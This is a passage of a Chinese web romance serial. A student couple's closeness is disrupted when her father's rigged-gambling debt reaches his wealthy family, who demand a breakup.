“喝醉了,在门口睡着了。”魏川说,“我先送去屋里,方姐,你给他煮点醒酒的吧,待会儿我去买早饭。” “不用买早饭,我一会儿就能做好。”方姐说。 “行吧。” 从孟怀璋的屋里出来,魏川身上都沾了酒气,他自己都嫌弃得不行,去浴室冲了澡,换了衣服。 直至变成了香香公子,他才狗狗祟祟推开了孟棠的房门。 魏川轻手轻脚进了卧室,撩开了床帘和蚊帐。 孟棠还在美美地睡,他脱了鞋子,往孟棠身边一躺:“宝宝,往里面去一点。” 孟棠睁开了眼睛,迷迷糊糊来了一句:“你怎么来了?” 魏川转身抱住她:“起得早了,睡个回笼觉。” “你疯了吧。”孟棠用脑袋在他胸口撞了下,“被发现怎么办?” “我又不做什么。”魏川理直气壮,“我穿得整整齐齐,还洗过澡了,就抱你睡一会儿怎么了?” 孟棠还没完全清醒,也懒得反驳,随他去了。 魏川取得了阶段性的胜利,咧嘴一笑,双手双脚锁住了孟棠,跟八爪鱼似的。 孟棠彻底没招了,也清醒了。 “你这睡觉的毛病到底跟谁学的?” 魏川还装无辜:“怎么了?” “你说怎么了?”孟棠挣了下,“我现在像不像被命运扼住喉咙的法棍?” 魏川笑了声,松了点对她的钳制。 孟棠感觉呼吸都顺畅了不少,她摸到枕头下的手机,看了眼时间。 魏川不满她背对自己,想要将她转过来,孟棠“啧”了声,他立刻缩回了手,从背后抱上去。 孟棠几乎嵌在魏川的怀里,以至于他轻而易举就能看到孟棠的手机。 消息是她们寝室群里的,估计是昨晚发的,孟棠睡着了没看见。 一打开就是99加,孟棠逐条往下看,发现她们在说回学校的时间。 前几天不是定了吗?怎么又改了? 孟棠继续往下翻,才发现谢泠音和许鹤清决定提前回校。 因为他俩快半个月没见,想提前两天回,过个二人世界,然后就得到了石岚和杨可的调侃。 魏川忽然勒紧了她的腰,说:“要不我们也提前回去,住康铂,不去我家?” 孟棠顿了顿,有些犹豫。 魏川抓住机会,当即给许鹤清打了语音。 “你干嘛?”孟棠拉住他的手腕。 “我问他去不去康铂住。”魏川说,“正好一起玩两天。” “人家要和泠音过二人世界。”孟棠敲了下他的手,“二人世界你懂不懂?” 魏川笑了声:“住康铂又不影响他俩过二人世界,他俩过他俩的,我俩过我俩的。” 语音响了好几声对面才接,许鹤清简直无语了:“魏川,一大清早的,你神经病啊?” 魏川笑了声:“你什么时候回校啊?” 许鹤清说:“9号。” “要不要我的公寓住?”魏川问,“我听孟棠说,谢泠音也是9号回,一起玩两天?” 许鹤清迟疑了一会儿,说:“我问问泠音吧。” “行,有结果了告诉我。” 魏川挂了电话,将孟棠掰了过来,说:“要不9号回z市,反正在雁清也没什么事了。” “好吧,我待会儿起床跟爷爷说。” 话音刚落,窗外响起老爷子的声音,他问方姐:“你煮的什么?” 方姐“嗐”了声:“醒酒汤啊,怀璋昨晚喝醉了,在大门口睡了一宿,还是小魏发现扛进来的。” 孟棠一愣:“他在大门口睡着了?” 魏川抱着她“嗯”了声:“不知道跟谁喝酒,坚持到大门口强制下机了。” 孟棠蹙眉:“他以前也没酗酒的习惯。” “也不能说是酗酒吧。”魏川说,“估计昨晚在哪儿喝美了。” 孟棠推了推他:“起来,我去看看。” 魏川翻身下床,给孟棠摆正了拖鞋。 孟棠出了房门时,听方姐说孟怀璋已经睡得不知天地为何物了。 她和老爷子对视了眼,问:“他跟谁喝的酒啊?” 孟遇春:“还能有谁,估计是老廖他们。” 孟棠叹了声气:“还是少让他去吧。” 孟遇春点点头:“等他醒了再说。” 孟棠决定和魏川提前回学校,孟遇春没什么意见,不过早两天而已。 由夏转秋,衣服也得带一些。 魏川赶紧拦住她:“到时候再买,这些衣服两个箱子都装不下。” 本小章还未完,请点击下一页继续阅读后面精彩内容!孟棠皱了皱眉:“总不能一件不带吧。” 魏川说:“随便带两件就行,到时候我陪你去买,而且你这些衣服我看着怎么穿了好几年了。” 孟棠说:“没有,两三年吧,而且我们专业也实在不适合穿什么好衣服,雕塑楼一走,出来都是灰扑扑的。” “那就分两个类型的买,一类日常,一类进工作室穿。” “行吧。” 孟怀璋再醒来,太阳已经落了山。 外头有人说笑,他头痛欲裂地爬了起来。 当意识到自己昨晚做了什么时,迅速起身跑了出去,在看见孟棠时猛地停住脚步。 孟棠淡淡地说了句:“方姐给你留了饭。” 孟怀璋愣愣点了下头。 孟棠拉着魏川出了门,今晚方姐做饭太早,她和魏川在夕阳下又美又悠闲地吃撑了。 于是决定“离家出走”消化消化。 这次没去那喂蚊子的地方,两人出了巷口,沿着街道往孟棠以前的学校走去。 与此同时,孟怀璋敲响了李寒津家的门。 李寒津看到人时一愣:“璋叔,您怎么来了?” 孟怀璋扬了下头:“进去说吧。” “您先进来。” 李寒津给他倒了水,孟怀璋惶恐难安,一把抓住李寒津的胳膊,说:“寒津,只有你能帮我了。” 李寒津拍了拍他的手:“您先坐,把事情说一下。” 孟怀璋将借钱投资的事跟他说了,又急道:“昨晚和老廖喝了点酒,不知道怎么进了牌桌,他们赌的太大,我就在旁边看着的,后来非得拉我下去,我第一把就赢了五千……” 赢到三万的时候已经上头了,再加上酒精刺激,彻底丢了魂,筹码越来越大,从十万滚到了五十万,最后他还在借据上按了手印。 李寒津拧起眉头:“叔,您被人做局了啊。” 孟怀璋一愣:“你说什么?” “您被人做局了,先让您赢,再让您死,五十万的数,师父完全拿得出来,是把您了解透彻才这样设局的,您跟谁玩的?” “老廖。”孟怀璋已经傻眼了,“可是他也输了好几万。” 李寒津:“要么你俩都是局中人,要么他是被您连累的,你们在哪儿玩的?聚众赌博是犯法的。” 一听犯法,孟怀璋又燃起了希望:“是不是可以报警?” 李寒津说:“报警的话,您也会受到牵连,九年前的事会再次上演,毕竟您也参与了聚众赌博。” 孟怀璋的腿一下软了:“怎么办?我哪来的五十万?” 这分明就是让他认了。 李寒津扶住他:“咱们再想想办法吧。” 孟怀璋只能点了点头。 孟棠和魏川逛到了雁清中学,两人进不去,就围着学校绕了一圈。 两人牵着手,魏川幼稚地晃来晃去,问:“你以前读书怎么样?” 孟棠笑了声:“我能进z大,靠的是木雕。” 魏川扭过脸说:“你看着不像成绩不好的。” “实在没有时间。”孟棠说,“高中三年是我木雕飞速进步的三年,因为自小学传统文化,文科类的还行,理科类的将就。” 她这三年在木雕上花的时间比文化课多。 两人边走边聊,绕了一圈后返回了老宅。 几天时间一晃而过,8号下午,孟棠和魏川回了z市。 许鹤清和谢泠音明天才回过来。 当孟棠拎着行李箱往客房走时,魏川一把将人拦住:“你跟我睡。” 孟棠说:“他们不是明天才来嘛。” “那又怎么了?”魏川依旧理直气壮,“在香港的时候都没分过床,坚持这一晚干什么?” 孟棠轻咳了声,她能说,从进了电梯开始,他的眼神就不对劲了吗? 在雁清这段时间,最过分也就是亲一下,肢体接触有,但不深刻,达不到魏川的标准。 孟棠的手还拉着行李杆,魏川坏笑了声,故意拉住行李杆扯了下。 孟棠一个不察,撞进了他怀里。 他搂住她的腰,垂眸挑了下眉:“这么多天了,今晚还想躲?” 孟棠扭过脸:“你要干嘛?” 魏川意味不明地哼了声:“先去洗澡,洗完给你吹头发。” 孟棠扯了下箱子:“我拿衣服。” 魏川松了手,自己也拿了衣服,去了另外一个卫生间。 他比孟棠出来得早,本来是光着上本身的,想了想,又随便找了个T恤套了上去。 孟棠快要被热气熏晕了,出了浴室才感觉活了过来。 魏川听到动静,蹭一下坐了起来。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第167章 现在回来一趟 孟棠刚从浴室出来,被冲出卧室的魏川一把抱了起来。 “魏川!”孟棠整个人悬空,被吓了一跳,却不得不搂住他的脖颈,反应过来后,捶了他两下。 魏川傻笑两声,将她往床上一扔,孟棠的干发帽彻底松散,露了里面潮湿的头发。 孟棠抬手压住,生怕把被子弄湿,却没拦住魏川,就让他莽撞地压住亲了好几口。 “魏川!” 魏川起了身:“躺着别动,我去拿吹风机。” 孟棠轻笑了声,还真没动,等魏川返回的时候,让他去拿了手机。 有男朋友还是不错的,吹头发都不用自己来。 孟棠打开手机,玩起了榫卯的中式小游戏。 魏川蹲在床边给她耐心地吹干了头发,相比之前那次,这次的时间缩短了一半。 “要不以后头发别剪了。” 孟棠指尖一顿,放下了手机:“你说什么?” “我说你头发别剪了。”魏川看向她,“我给你吹呗。” 孟棠想了想,说:“行。” 头发干了,吹风机一收,魏川抽过孟棠的手机扔到床头,随后握住她脚腕转了半圈:“睡觉。” 孟棠撑着自己往床头去,魏川掀开被子,贴着她抱作一团。 眼看要掉下去,孟棠转身用腿压住魏川的腿,提醒他:“往里去,要掉下去了。” 魏川往外挪了挪,喊了声“关灯”,卧室霎时暗了下去。 孟棠还没适应黑暗,魏川已经缠了上来。 后背贴着胸膛,在黑暗中无声地依偎。 颈侧喷来温热的呼吸,孟棠卷翘的睫毛颤了颤,紧接着,她被魏川转过了身体。 对喜欢的人有强烈的身体接触的冲动,每个人都不例外。 魏川和她鼻息相抵,试探地停了两三秒,吻了上去。 黑暗中,触感被不断放大,孟棠惊得想要躲,被他死死按住了手腕。 魏川稍稍离开她的唇,小声道:“还想躲?多少天了?” 蜻蜓点水的吻已经不能满足他了。 孟棠不是想躲,只是下意识的行为,因为魏川的身上太烫了。 卧房里也并不是完全看不见,最起码,孟棠可以在昏暗中将魏川的轮廓描绘清楚。 可下一秒,她又看不清了,因为魏川亲了下来,压下了一重阴影。 孟棠被迫仰头,心脏和他同一频率地失去节奏。 周遭的空气变得黏腻暧昧,后腰处的大手挑开了孟棠的衣摆。 她猛地按住魏川的手腕,往后撤退:“你要干嘛?” 魏川轻轻地咳了声:“我……控制不住这个手。” 总想往上摸。 “……” 孟棠拍了下他的手:“好了,睡觉吧。” 魏川亲了一头的汗,他拍了拍孟棠,应了声“好”。 安静没多久,孟棠的呼吸逐渐平稳。 她睡着了,魏川笑了声,在她眉心亲了下:“晚安。” 随后苦笑一声,自己去了浴室,冲了凉。 醒来的时候已经天光大亮,孟棠嗓子有些干,转头看了眼魏川,见他没有醒来的迹象,轻手轻脚地下了床。 洗漱后,她去厨房倒了杯温水。 慢条斯理地喝完,杯子还没放下,就被人从后面搂住了。 “起这么早?”魏川耷着头,将自己埋在孟棠的颈间,“几点了?” 孟棠说:“没看时间,我有点渴,过来喝水的。” “嗯。”魏川闭着眼睛,像一只大狗,“我让管家送早餐过来。” 孟棠反手拍了下他的头:“泠音他们上午就过来了,你去洗漱吧,还要去车站接人。” 魏川半睁着眼睛去了浴室,洗漱后换了个人似的。 上午十点半,他俩在车站接到了许鹤清和谢泠音。 魏川在公寓附近找了个餐厅。 谢泠音好久不见孟棠,拉着她稀奇地看了好几遍。 孟棠都有些懵,说:“你到底在看什么?我又没整容。” “这段时间,心情不错吧?”谢泠音抵了抵她,“我看你又漂亮了啊,衣服的颜色都亮丽了些。” 孟棠失笑:“还是以前的衣服,也不亮,好吗?” 进了餐厅,四个人聊下午去哪儿玩。 其实来z市上学两年,孟棠还真没去过哪些地方,除了学校之外,最多的就是博物馆了。 再有两天开学,也去不了哪里,许鹤清提议:“就在附近找个景点公园转转吧。” 他本意是和谢泠音过二人世界,魏川邀请了,他不好意思拒绝,决定问问女朋友的意见。 哪知道谢泠音张口就答应了,说自己很久没见孟棠,有点想了。 许鹤清又不敢吐槽,只好跟她来了康铂。 魏川说:“其实不出去也行了,家里可以打游戏,公寓里健身房、spa馆都有,顶层还有个花园酒吧,公园有什么好逛的,除了水就是树。” 这话说到许鹤清心里了,他也点头赞成:“确实没什么好逛的。” 谢泠音说:“行,那下午我和孟棠去spa馆,你俩在家打游戏。” 这章没有结束,请点击下一页继续阅读!魏川:“……要不一起去健身房?孟棠这个学期要好好锻炼身体。” 孟棠:“……” 倒也不必那么急,她还想偷懒两天。 魏川看出她的小表情,吃完饭,还是把他们全都打包带回家打游戏了。 这里面最菜的就是孟棠,不过她身后有魏川。 两对小情侣的风格完全不一样,孟棠打错了,魏川就从后背抱着她给她指导,声线是耐心的,动作是温柔的。 反观许鹤清和谢泠音,真是欢喜冤家了,尤其是谢泠音,一言不合就要开骂。 许鹤清一开始也无所谓,后来又毒舌地堵了回去。 魏川在孟棠耳边笑了声:“我现在算是明白他俩当初为什么半年分了好几次,给我我也得藏着。” 孟棠听出他话里的怨念,笑道:“还惦记着这事呢?” 魏川说:“他俩要是不藏,说不定咱俩能提前好上。” 孟棠白了他一眼:“也有可能没有交集。” 魏川:“……” 无言以对,确实也有这种可能。 玩了三四个小时,魏川给两个女生叫了下午茶。 两个男生接着玩游戏,孟棠和谢泠音躲在一旁闲聊。 谢泠音吃了一块甜品,小声问孟棠:“这里有几间卧室?” 孟棠说:“两间。” 谢泠音挑了下眉:“那今晚咱俩一起睡?” 孟棠看着她,脸上有些发热,她要是这会儿答应了,魏川有得闹。 “我懂我懂。”谢泠音哼笑一声,“我也是有男朋友的好嘛。” “别误会。”孟棠说,“我们什么都没干。” 谢泠音笑了声:“你怎么知道我要问你这个?” “我看你的眼神就知道。”孟棠笑了声,“都是八卦。” 谢泠音:“也不能怪我八卦吧,你俩先是去了香港,后来他又去你家住了那么些天。” “你也知道他去我家了,能乱来吗?”孟棠说,“别八卦了啊。” 谢泠音给她比了个“OK”的手势。 天色渐沉,魏川过来问孟棠,晚上吃什么。 孟棠又问谢泠音,谢泠音摇了摇头:“你俩决定。” 魏川说:“就去楼上餐厅吧。” 吃饭花了两个多小时,魏川和许鹤清还喝了点酒。 魏川没醉装醉,回去的时候,故意将孟棠堵在门板后亲。 孟棠向后退的时候砸到了门板,魏川立刻“嘘”了声:“他俩就在对面,可别被听见了。” 孟棠顿时不敢动了。 魏川偷笑一声,还是呆,这里的隔音效果怎么可能被听到。 “今天跟谢泠音在一起那么长时间,聊了什么?” 孟棠哼了声:“女生聊的事你也打听。” “我就不能了解了解?”魏川捏了下她的脸,“别以为我不知道你俩一直叽里咕噜的,还时不时往我这儿瞄两眼。” “什么时候?”孟棠问。 “下午茶的时候。”魏川撑着门板,看着孟棠的眼睛,“感觉你俩在八卦我,眼神不太对。” 孟棠一下住了嘴,她和谢泠音聊的根本说不出口。 “让开,洗澡去了。”孟棠推开他往衣帽间去,听到身后的脚步声,立刻制止,“我先洗,你等会儿。” “行。”魏川跟到床边,直接躺了下去。 孟棠洗澡的时间不算长,但和魏川比起来是久的。 上床第一件事就是抱着女朋友滚两圈,孟棠的头发乱七八糟地糊在脸上,是彻底没招了。 偏偏她也不说魏川一句话,算不上包容,因为是纵容。 最后也只轻飘飘地来了一句:“别闹了,睡觉。” 魏川以后绝对是个妻管严,一听这话,乖乖搂着人睡觉。 隔天十号,在公寓里待着也无聊,孟棠几个人出门看了场电影,十一号就回了寝室。 杨可是第一个到的,石岚要下午到,三个人默契地开始打扫寝室。 魏川和许鹤清将女朋友送回寝室就转身走了,他们也得回去打扫一下。 刚到寝室门口,魏川的手机响了起来。 他拿出一看,是魏思嘉打过来的。 嗯?魏川有些奇怪,大姐怎么这个时间给他打电话? 魏川按下接听键:“大姐。” 魏思嘉“嗯”了声:“现在回来一趟。” “我明天都开学了,回去干什么?”魏川跟着许鹤清进了男寝的门。 魏思嘉冷硬道:“让你回来就回来,哪儿那么多废话。” 魏川脚步一顿,许鹤清回头看着他,他摆了下手,示意许鹤清先走。 随后,他自己走到一旁,问:“家里出事了?” 魏思嘉说:“你车不是开学校去了吗,现在就回,有事跟你商量,而且你们12号才正式开学,别以为我不知道。” 魏川从兜里掏出车钥匙:“行,我现在就回。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第168章 这是要逼我记她一辈子吗 魏川开车回了家,刚踏进客厅,被里面一片的愁云惨淡弄得一懵。 除了他二姐,全家都在,连老太太都回来了。 魏川笑着走过去,搂住老太太的肩膀:“您什么时候回来的?” “中午回的。” 魏川刚要再和老太太聊两句,楚茵叫了声他的名字,说: “小川,你跟孟棠还是分了吧。” 魏川一愣,笑意僵在嘴角,半晌,他才找回自己的声音:“妈,你在说什么?” 楚茵一脸憔悴:“问你爸。” 魏川看向魏立峰。 魏立峰也回视他,说:“孟棠的爸爸欠了债,从五十万滚到了将近一百万,追债的人不去向他要钱,反倒是跑魏家来了。” “欠债?”魏川狠狠蹙眉,“为什么会欠债?那些追债的人呢?” 魏立峰说:“赌博。” 魏川心下一沉,又是赌博。 操!他现在恨不得飞到雁清,把孟怀璋拖过来揍一顿。 真他妈的不安分! “我不分。”魏川坚定道,“这事跟孟棠没关系,我明天去雁清。” 明后两天是开学日,不上课,他完全有时间。 “你去雁清干什么?”楚茵狠狠地瞪他一眼,哭过的眼睛又红又肿,“你去给他还100万?下次呢?一千万你也还?” 魏川气急:“我他妈去揍他!一次不够,还得连累孟棠。” 魏思嘉听到他这话,竟然有些想笑。 无论如何,孟怀璋也轮不到魏川去揍。 “别胡闹。”魏立峰轻飘飘用一个眼神压制魏川。 魏川怕吗?他一点都不怕,蹭地从沙发上站起来:“不是,你们为什么要让我跟孟棠分手啊?她做错什么了?她现在甚至都不知道她爸爸欠债这件事。” “那你去问问,哪家能接受儿子跟这样家庭的女孩谈恋爱?”楚茵也站起来,费力地仰着头。 魏川低吼:“到底是我了解她,还是你们了解她?她从小没爸没妈,孟怀璋对她尽过什么义务?凭什么他犯了错,要让我的孟棠去抵罪?” “我不想跟你们吵,也不想为了孟棠跟你们恶语相向,让你们误会更深。” “可也不能直接让我分手,我还没去弄清楚情况,是不是太过分了?” “到底是谁过分?”楚茵的头一阵一阵地疼,“上次那么不体面也就算了,我看在你痴心一片的份上,我爱屋及乌,可你看看现在呢,赌博欠债,亿万富翁也惹不起,既然惹不起,我们躲得起,你必须给我分手。” “妈!为什么一定要逼我呢?” “因为她爸坐过牢!”楚茵朝他喊了声。 魏川一下熄火了,随之而来的是抑制不住的慌,一切都脱离了他的计划。 也正如秦渊所说,楚茵现在很激动。 “你们都知道了?” 楚茵缓了一口气:“那些讨债的人目的太明确,你爸爸派人去查的,无意中查到的。” “查了?”魏川看向魏立峰,“那孟怀璋为什么会欠那么多钱?” 魏立峰说:“他瞎搞投资,手里没钱,向朋友借了点,后来赔了,又去赌了,一晚上输掉五十万,看着像做局,最后利滚利,滚到了一百万。” 魏思嘉适时补充:“孟棠的爷爷前段时间和政府单位合作雕刻落地屏风,谈的价格是128万,应该就是冲着这个来的。” 魏川:“……” 孟怀璋那个脑子缺根弦的,还真会上当。 也不知道老头上辈子造了什么孽,生了这么一个讨债鬼。 “既然被做局了,就找出做局的人。”魏川气愤不已。 “这件事你不许插手。”楚茵强硬道,“你该训练训练,孟棠再好,也跟你没关系,因为在我这里,她已经不配了!” “一定要逼我分手吗?”魏川克制不了脾气,颈侧青筋暴跳,“我跟她才谈几天啊,这是要逼我记她一辈子吗?” “你——”楚茵一口气穿不上来,“我有点难受。” 魏立峰立刻从沙发上起身,极快地揽住楚茵,对魏思嘉说:“叫医生过来。” 魏川所有的解释都堵在了喉咙。 等医生看过楚茵,从楼下下来的时候,魏川才追上去问了句。 医生说不要再刺激她就行。 魏川烦躁地抓了把头发。 魏思嘉从楼下下来,看到门口的魏川,径自走了过去。 “今晚不要回寝室,爸待会儿有话跟你说。” 魏川可怜巴巴地回眸:“姐,我不能跟孟棠分手。” 魏思嘉叹了声气:“妈那个人,眼里容不得一粒沙子,很难。” “再难我也不会放弃。”魏川的眼眸异常地亮。 “那……”魏思嘉顿了下,“如果跟篮球相比呢?我知道这个比法不恰当,就是篮球和孟棠,你选哪个?” 魏川自嘲地笑了声:“谁能跟孟棠比啊? “妈也不能跟她比?”魏思嘉又问。 “不能。” 魏思嘉一愣。 魏川又道:“我的意思不是为了孟棠不要妈,而是你们不应该用亲情去压迫我的爱情,妈有爸,孟棠有我。” 这章没有结束,请点击下一页继续阅读!魏思嘉说:“我还是那句话,我不掺和你和孟棠的事,但爸妈这里,我也说不上话,妈有多固执,多在乎脸面,多在于名声你是知道的。” “她喜欢的一直是Vivian那种千金小姐,之所以接受孟棠,一个是爱屋及乌,另一个就是孟棠因为木雕,自小学遍传统文化,让她整个人有种书香门第的气质。” “可这些美好的品质却因为她的父亲败坏了,现在的孟棠对妈来说,是一株长在厕所旁边的海棠。” 魏川握了握拳,魏立峰安抚好楚茵,一个电话拨下来,就魏川去书房找他。 魏思嘉偏了下头:“上去吧。” 魏川去了书房,见魏立峰在抽烟,说:“也给我一根呗。” 魏立峰从抽屉里将烟和打火机扔给他。 魏川在他对面坐下,点了烟,狠狠吸了一口,又被呛得半死不活。 他将烟捻灭在烟灰缸里,散了散自己面前的烟味,说: “有什么就说吧,时间不早了,我要回学校。” 魏立峰吐出一口烟,说:“一百万我来还,孟怀璋这件事我来善后。” 魏川冷笑:“条件呢?” “你跟孟棠分手。” 魏川拍了下桌子,起身就走。 魏立峰没动,魏川刚拉开书房的门,四个保镖拦住了他的去路。 魏川转过头,眉眼一瞬变得冷峻又桀骜:“什么意思啊?” 魏立峰没回答,偏过头对保镖说:“带少爷去楼上休息。” 魏川轻嗤一声,咬紧后槽牙,转头对着保镖的门面一拳头砸了下去。 保镖被砸懵了,因为太出其不意。 魏川块头甚至比保镖还大,又在气头上,不管不顾地发着疯劲。 他就逮着一个揍,另外三个保镖只能去拉,也不敢对魏川动手。 “住手。”魏立峰从书房走出来,“你像个什么样子?” 魏川气喘吁吁地起身,吊儿郎当地拍了拍手,正面对上他老子的眼睛:“真的不让我走?” 魏立峰:“你要去哪儿?” 魏川说:“我去雁清,我要去弄清楚事情的真相。” “行。”魏立峰说,“你去可以,但改变不了孟怀璋曾经坐过牢这件事。” 说来说去,还是要让他和孟棠分手。 但眼下孟怀璋的事情重要,魏川不愿意再浪费时间,他对魏立峰说: “这件事,我回来再谈,我跟孟棠的事,希望你们也尊重我。” 魏立峰示意保镖让开。 魏川快速下了楼,车刚开出大门口,手机响了起来。 魏川看了眼,诧异了一下,谢泠音打电话给他干什么? 他接了电话,还没开口,谢泠音就冲着他说:“你跟孟棠在一起吗?她刚才接了个电话就走了,我问她干什么,她说有点事,我思来想去,她的表情不太对,所以问问你。” “我知道了。” 魏川挂了电话,拨通了孟棠的号码。 半晌没人接,魏川脸色沉了下去,打算打第二通时,她接了。 魏川半点不犹豫,问:“你人呢?怎么不在寝室?” 孟棠一愣:“你怎么知道?” 学校太大,她刚走到东门口。 这个点也买不到回雁清的票,只能打车。 天知道接到老爷子的电话时,她有多崩溃。 如果孟怀璋只是赌博欠债,老爷子还不一定告诉她,可催债的人去了魏家,这让她怎么面对? “你是不是要回雁清?”魏川直接挑明。 孟棠愣住了:“你知道了?” 魏川加快速度,说:“我刚从家里回来,你先告诉我,你在哪个门,这个点,你也买不到回去的票,我送你回去,你要是打车,我不放心。” 他从家里回来的? 孟棠难堪地轻笑一声,大概猜到了他回去会发生的事。 “不用了,我自己——” “孟棠!”魏川严厉地截断她的话,“不要让我再说第二遍,这么晚了,你一个人打车回去,你想让我死吗?你觉得我能让你一个人回去吗?” “东门。”孟棠的眼泪漱漱而下,“我在东门。” 魏川松了口气:“别怕,我来了。” “嗯。” 孟棠哭了,魏川听出来了,他挂了电话,一脚油门踩到了东门。 将车熄火,魏川下了车,将她抱进怀中揉了揉:“我说过有我在,哭什么?” 孟棠吸了吸鼻子,想问什么,却没能问出口。 魏川拉开她,替她擦了眼泪:“走,现在就回雁清,明后两天才正式开学,如果处理妥当,可以在13号晚上赶回学校。” 孟棠点了点头:“好。” 去雁清要开四个多小时的车,魏川替孟棠系上安全带,亲了亲她:“睡一会儿。” 孟棠看着他:“你开车,不用管我。” “好。”魏川应了声,载着她往雁清去。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第169章 我们不会分手 孟棠不会开车,让魏川一个人开四个小时她又不放心,两个小时后,她劝魏川去了一趟服务区。 将车停好,魏川偏过头:“你不着急吗?” 孟棠摇了摇头,她已经彻底冷静下来了。 现在已经十一点了,如果继续开,凌晨两点左右才能回到家。 这个点,老鼠都睡了,到家也不可能直接解决问题,还会把老爷子吵醒。 孟棠扭过脸,转头对魏川说:“你休息会儿吧,不用赶,早早回去还得把方姐吵醒来开门。” 魏川解开了安全带,帮她的座椅调到最低,自己也跟着调低躺了下去。 车里没有一点亮光,只能靠路边的灯光给予那么一点。 他俩的上半身隐匿在昏暗中,彼此对视,沉默了许久。 孟棠侧了下身体,将手垫在脸下,问:“你家里人跟你说了什么?” 魏川拉过她的手,小声道:“不管说了什么,我们都不会分开,先把你爸的事情给解决了再说,行吗?” 孟棠听不懂似的,依旧问:“让你分手了是吧?” 魏川觉得呼吸都有点难受,他捏紧孟棠的手,说:“我们不会分手。” 孟棠没有吱声,也得亏灯光照不到她脸上,不然满脸的难堪会让魏川看尽。 她握紧拳头,想要脱离魏川的手,哪知魏川紧拽着不松。 他眉头一皱:“你要干什么?” 孟棠说:“我休息会儿,这样牵着有点累,悬着呢。” 魏川松了手,静静地看向她。 孟棠闭上眼睛,小声道:“睡会儿吧。” 魏川哪里睡得着,拿出手机调了闹钟,也跟着孟棠闭上了眼睛。 她可能是真的累了。 闹钟再响时已经早上五点了,两人同时被惊醒。 魏川关掉手机,推开了车门,说:“去卫生间洗把脸吧,待会儿吃个早饭再赶路。” 孟棠点了点头,和他一起下了车。 从卫生间出来,魏川去买了早饭,他猜孟棠也没什么胃口,买了牛奶和鸡蛋,垫垫肚子也是好的。 孟棠接过后,两人靠在车边默默吃完了手里的东西。 孟棠拿出手机看了眼,已经五点半了,八点左右正好到家。 “走吧。”她推了下魏川。 魏川将垃圾扔进垃圾桶,转身跨进了驾驶位。 开了两个多小时,最终在八点十分到了家门口。 方姐看到两人时吓了一跳,随后默默让他俩进了门,孟棠在前,魏川在后。 错身时,方姐一把抓住魏川的胳膊。 魏川停了脚步,疑惑地看着她:“怎么了?” “昨天老爷子跟我说的时候我还有点不信,那些催债的真找到你家门口了?” 魏川点了点头。 “造孽。”方姐叹了声气,“这不是害小棠吗?” “没事。”魏川安慰她,“我陪孟棠一起回来,就是来解决事情的,他人呢?” 叔也不愿意喊了,魏川换了和孟棠一样的称呼。 “屋里睡觉呢。” 魏川:“……” 怎么睡得下去的。 孟遇春看到孟棠也没惊讶,招呼她在院中坐下,问:“吃早饭没有?” 孟棠说:“吃了。” 魏川走过来,叫了人,在孟棠身边坐下,直接问老爷子:“真的欠了100万?” 孟遇春点了点头:“后面的利滚利,高利贷了,抢钱呢。” 魏川皱了皱眉:“这些可以不还的吧?只要去收集证据,反诉诈骗,申请债务无效就行。” 孟遇春说:“人人都知道这是一条道,但没人能走到底,孟怀璋愚蠢,他这是被做局了,我怀疑从老廖的时候就开始了。” “老廖怎么说?”魏川迫不及待地问。 孟遇春说:“老廖不承认,说自己也输了钱,只输掉几万是因为那晚喝了酒,后来睡着了就没赌。” 孟棠问:“他为什么去赌?” “为了还十万的债。”孟遇春将孟怀璋天真投资的事跟孟棠讲了一遍,“不敢跟我说,心烦和老廖喝酒,喝着喝着出事了,跑牌桌上去了。” 孟棠冷笑一声:“我不信老廖不知道,装什么呢?谁家发财会带别人?也就孟怀璋相信。” 魏川侧眸,第一次见这样冷酷的孟棠。 “你现在生气也没用。”孟遇春自己也气,“我早问过老廖了,人家不承认,你有什么办法?而且孟怀璋还签了欠条,欠债还钱,那就是天经地义,谁让他去赌了呢?” 孟棠握紧拳头,难道就真的没有办法了吗? “这些局,都是冲着家底来的。”魏川对孟遇春说,“老廖在其中,充其量是个中间人,可背后是谁呢?说实话,您家里这点财产,不值得被做局,所以这事,我觉得有点蹊跷。” 孟遇春点了点头:“确实有点,我和孟棠一老一小,怕别人惦记,早些年都没接过什么大活,在别人看来,我和孟棠是可怜的,直至她上了高中,我才接了大件,但也从来不透露家底。” 孟棠说:“会不会他泄露出去的?跟人家两杯酒一喝,什么话也兜不住。” 本小章还未完,请点击下一页继续阅读后面精彩内容!孟遇春说:“他应该不知道,之前试探性地问过几次,我没告诉他,他自己的工资够养活自己的,哪知道还这么废。” 魏川见老爷子的表情也没到绝望的地步,问:“您是不是有什么想法了?” “我有什么想法。”孟遇春摊了摊手,“昨天送出去三件木雕,找了点关系看看能不能像你说的那样,查一查,申请一个债务无效,到现在还在等消息呢。” 魏川点了点头。 老爷子在木雕界是权威性的代表人物,在乐清这么多年,肯定不会没有人脉。 只不过赌博做局这种事,和一般案件不一样。 有组织有预谋,侦查的成本太高了,参与的人员也比较复杂。 就拿上魏家讨债的人来说,他们不在赌局之内,仅仅是催债人员。 法治社会,他们也不能乱来,但整天在你面前文明催债也是受不了的。 万一再被曝出去,影响公司的形象和股价,这才是魏立峰让魏川分手的原因。 他本人对孟棠倒是没什么意见,再一个,魏立峰要顾及楚茵的身体状况,所以才和楚茵站在一条线上。 孟棠沉默片刻,问:“老廖家的麻将馆还在开吗?他和孟怀璋一起输掉的钱还了吗?” “还了。”孟遇春说,“他老婆还的,这段时间一直待在家里,被他老婆打了一顿。” “可我有个疑问。”孟棠说。 魏川和孟遇春齐齐看向她:“什么疑问?” 孟棠对魏川说:“你刚才不是说了吗?做局是摸清了家底的,既然这样,催债的人为什么不来向爷爷要,反倒是去你家?” 魏川和孟遇春对视了眼,发现孟棠问到了点子上。 孟遇春眉头紧锁,思考了半晌也没头绪。 难道是为了要更多的钱?可也不对。 这些设局会卡在你还得起的一个点上,不至于让你家破人亡,省得拉着他们同归于尽。 魏川指了指自己:“既然去我家,冲着我来的?” “为什么冲着你去?”孟棠也想不通,既然知道她家能赔得起,不是应该催债拿钱走人吗?平白无故去z市干什么? 三个沉默下去。 “或许冲你俩去的?”方姐在一旁幽幽地说。 孟棠一愣,将脸扭了过去:“为什么这么说?” “我也是猜的。”方姐说,“他欠了债,不敢回家跟老爷子说,别人只能威胁他,电视上不都这么说,你给我听着,要是再不还钱,我就把你女儿啊女婿啊父亲啊什么的都毁掉。” 